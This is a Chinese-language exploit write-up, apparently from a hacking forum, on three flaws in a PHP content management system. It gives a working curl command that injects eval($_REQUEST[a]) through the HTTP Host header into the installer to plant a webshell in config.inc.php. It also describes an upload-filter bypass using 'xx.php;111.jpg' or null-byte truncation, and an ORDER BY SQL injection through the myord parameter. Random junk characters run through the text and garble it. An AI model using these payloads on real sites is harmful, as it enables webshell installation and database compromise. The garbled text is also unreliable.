注入:# f% p0 t5 F, e6 d% D. L0 U* f
/ y8 x' m, r, L8 Y
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码3 u8 x; ^" D* y" ]+ R/ P
. u7 f. G" M! A" [鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件3 _- s9 p0 G5 ?5 B: r" M! g
鸡肋2: 有一定安全常识的站长都会删掉 install 目录8 s W) L4 B4 p
( z+ N2 x) w" D3 o虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
) ` h4 L7 x% I7 m7 t- ] p2 }7 V/ Q+ o& O( ^' s+ [
分析:8 v- \! }3 C. l0 \, v
* L( o- s7 e6 D2 i
; D0 s7 m/ |) W( D
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤7 o; a; L9 z- h. f. P9 K
: q" g. J$ J: k- D! M $filestr = fread(fopen($SysConfigFile, 'r'),30000);' C, s- K7 `0 c$ ]) b( Q1 u- \8 i
$filestr=str_replace(" ","",$filestr);3 G+ J4 l N3 ]) c
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
# w# T, f* m! h% C) t $filestr=str_replace("DefaultDbName",$dbname,$filestr);
% U4 o: I( F m# N, `# O $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
! | Q2 b c( G8 Z3 Y2 | $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
+ X: v o5 n \9 s2 E+ N $filestr=str_replace("DefaultsLan","zh_cn",$filestr);9 {% Z% ?/ ^+ b" r# P
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
6 V; V$ }/ X0 x5 [+ B $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
" j3 a1 a! m( E( r0 s6 M2 @ @5 J 8 U0 f# A/ V5 `% {1 R" n2 @; ?
fwrite(fopen($ConFile,"w"),$filestr,30000);, I" _3 {9 v+ @
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^; _6 A" I& l2 V$ E0 I8 m
* `7 M. B1 }7 ~+ ~7 K' r# c6 Ypoc:
6 @& b, W% C4 |4 Z0 ?* p
, ^+ k% G I& d. Z?5 O! V2 A* F' g1 \: _
1
# P6 W5 J8 ~% [curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"4 c/ c+ F9 Z- U. I- b
shell地址: /config.inc.php
) N/ i- j: `+ H1 W) n跟之前的 phpcms一样 需要远程数据库
; d7 \9 ?' I0 d, P! E% @% m 0 ~" v2 M; c" _! M
——————————————————–
! E1 X) B: M: v5 a' t2 s上传漏洞(需要进后台):
N8 G4 j. c# Q Z x7 N( n. l# l漏洞文件: /kedit/upload_cgi/upload.php) Z/ `) k5 m% S. ?
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用& D; P# j/ O0 a% E
* u" @9 J' X" o: |- M; E1 A" \
! J+ P ^6 n: H' n9 A; N9 q
<?php
% ^' ^# q! c# y& b2 _7 X& p define("ROOTPATH", "../../");0 J: Q) |" B% x1 z
include(ROOTPATH."includes/admin.inc.php");' d8 B) ^) B6 `
NeedAuth(0);
* Z+ C0 Z) g/ q" B( D2 U
; s3 v/ \' c0 A9 X- w! b $dt=date("Ymd",time());
. X" w9 g' Y; h; `9 |5 s8 { if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){0 b0 o0 V0 j5 Z# |: l) _' C2 U, b! a
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);4 _8 k# P/ h5 O, C7 j5 @
}* f' N( B& h1 Z, a1 ?/ B
6 w$ B6 g# h I //文件保存目录路径
( L3 d' p; Y7 Z& H2 J$ B/ h $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';8 Y& H0 |; H8 }7 y- e# |
echo $save_path;; E# f9 J& l( d9 z- o1 d1 G8 x- V
//文件保存目录URL
% S5 `: m. r+ ?6 O* w0 O, f& o $save_url = '../../'.$_POST['attachPath'].$dt.'/';
, G! K0 ]" H4 D% j7 r2 T9 w$ [% M 5 A/ [' S; P1 ]' k7 V3 f2 o$ C1 E
//定义允许上传的文件扩展名 a: h* ~4 m$ e r P2 E( |
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
# b7 t5 ?, |% m5 f1 b + [/ {+ z8 T) r+ V
//最大文件大小' h. U4 h( h" b- p- O- E
$max_size = 1000000;
) l3 P# d' v" n) t. K
% X/ v* E+ U" J& G+ | //更改目录权限
: ^, Q, z8 s+ X) J @mkdir($save_path, 0777);, \7 G! F5 s i2 o" Q
; |; o' g1 a- d //文件的全部路径5 X& E+ |4 T m- Y' q" K& j- G$ F
$file_path = $save_path.$_POST['fileName']; //保存文件名. X. a# K) r& ?
' e+ M5 F! S2 z! S9 G9 \$ h9 x% I
//文件URL
( H1 ~0 t4 `2 `, g0 A, W $file_url = $save_url.$_POST['fileName'];2 ~$ p: t4 P* r8 H: a- L( f9 H
//有上传文件时/ W; k/ I3 @% k$ U- q
if (empty($_FILES) === false) {
3 H, \1 f9 g& k; D. K$ X- ]' K' K) j0 C' k
$ T2 j0 l. S7 V) u3 t, J //原文件名$ t2 i( M0 T1 A/ B
$file_name = $_FILES['fileData']['name'];
6 n+ V# f R6 T. @& D; P5 t //服务器上临时文件名
$ M' j7 n' |: L" U. _ $tmp_name = $_FILES['fileData']['tmp_name'];1 T" \* ?- o2 t! N; O
//文件大小# u- {/ q; [+ k( w/ i
$file_size = $_FILES['fileData']['size'];8 R9 u: R: i) I# K- j5 O/ C
//检查目录# I- _. X. x! n
if (@is_dir($save_path) === false) {
8 p( T% m$ Y, ]% a2 a* X' J alert("上传目录不存在。");
: I4 B+ t% ~* b8 c& W; r. q. O n. @ }
* U! m. C8 h* D' M) m* Y //检查目录写权限
1 J8 \4 G/ y7 q1 {* C1 m p if (@is_writable($save_path) === false) {+ P6 v% a; A: J1 x$ F# X9 e
alert("上传目录没有写权限。");
+ N+ o# F m6 l* T9 j+ y, }' m }
5 X- k s1 F, m //检查是否已上传 `+ e& s6 a" O$ ]6 D# p
if (@is_uploaded_file($tmp_name) === false) {* B3 a" c8 h) o$ z J2 H8 p
alert("临时文件可能不是上传文件。");
1 E- u) O8 l4 Q6 b0 [; Q3 n; k }
5 D/ T9 M/ g: j* A //检查文件大小
$ e) K6 Y4 F# C, l if ($file_size > $max_size) {* s7 }/ D: m0 |9 C
alert("上传文件大小超过限制。");. k- q5 F- r F, D* ^7 _% | ^6 f, T( b* }
}
6 c8 p# o6 \" M0 |9 U. { B //获得文件扩展名7 N" f" [ ]' u0 e
$temp_arr = explode(".", $_POST['fileName']);4 z* k' l! e. [: D
$file_ext = array_pop($temp_arr);
) f( |: M4 e- h P $file_ext = trim($file_ext);$ U- Q; X! D; q9 V+ R& l1 f
$file_ext = strtolower($file_ext);! l& D6 l/ h$ _* P
% s; Z: w4 K" @3 o3 |" w6 s //检查扩展名 j& R, j+ t% Z
if (in_array($file_ext, $ext_arr) === false) { 7 P7 g0 Q! n) u {0 R% h2 [
alert("上传文件扩展名是不允许的扩展名。");
! g5 D) Q* V7 B! k }$ r/ r: [4 H3 `
1 I7 \. r5 R; {9 a: S# d //移动文件
$ h$ f! p! n0 p3 W //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
a7 @ C5 J: m8 g if (move_uploaded_file($tmp_name, $file_path) === false) {
" R! o, l2 Z, s, Z$ s9 E alert("上传文件失败。");
" T9 `7 q. j) d) P. j! Q3 t m }& R* z. Q, f, B! J0 K- ~
0 y6 ^% h: i V% e- \- T; C6 m9 X- K
@chmod($file_path,0666);
1 h/ s( C7 Y) n* R9 w. M8 ~) F 1 P# Z( Z; e; }/ V. e5 ^
?>: O+ X* ]* u- e+ {. |: ^* G
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2277 X: g# c* Z, x/ d' U- [
& t! I& e4 Y& m, p
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
$ S- x' `2 S3 |& f3 t$ z' S! V/ |
/ W1 P6 ^0 p* _! ^: H7 x* u——————————————————
2 W# V" Y6 S3 |+ X/ B注入漏洞:
% Y6 n) v! D9 p& [漏洞文件:search/module/search.php2 V/ p) _0 \* V# t7 O. G( p
/search/index.php?key=1&myord=1 [sqlinjection]
& _4 P# M' {& e @
0 {6 s7 o* \6 M$ G0 v" ~6 `4 k 5 U5 G, t. V+ n
<?php
4 b, C5 @% c0 s" ^3 Y // ... 省略 n 行...5 \2 a$ ? Z7 D2 o/ l3 t, _0 Q
//第18行:
9 ?+ j! n* Q4 C+ A" w% | @ $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响& q2 u0 H2 M5 i
$page=htmlspecialchars($_GET["page"]);
$ a" S; t3 M0 l+ X8 z2 J $myord=htmlspecialchars($_GET["myord"]);4 f4 G* u/ |* m0 _+ J
! p! `8 Q" }- ^1 v1 J1 Z2 I
// ... 省略 n 行...0 Y8 O) s& [) A& F2 T' a( }; X
$key,$myord 两个参数带入查询
4 T9 z, V0 W5 q' R //第47行 $key:. @# U/ B6 ^ z( @
, X, v: j8 }6 j7 w $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
3 P. _* A5 h" R4 p- W$ t & S/ w. y5 r7 h/ W- ~, @" b8 r
//第197行 $myord. E/ G1 R! O% f
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入: t3 V6 l h3 l8 t4 o& ~* a! |
; C) p" B/ N5 ]) | ?>
/ a2 b9 S3 D5 q( t: z- f& ? |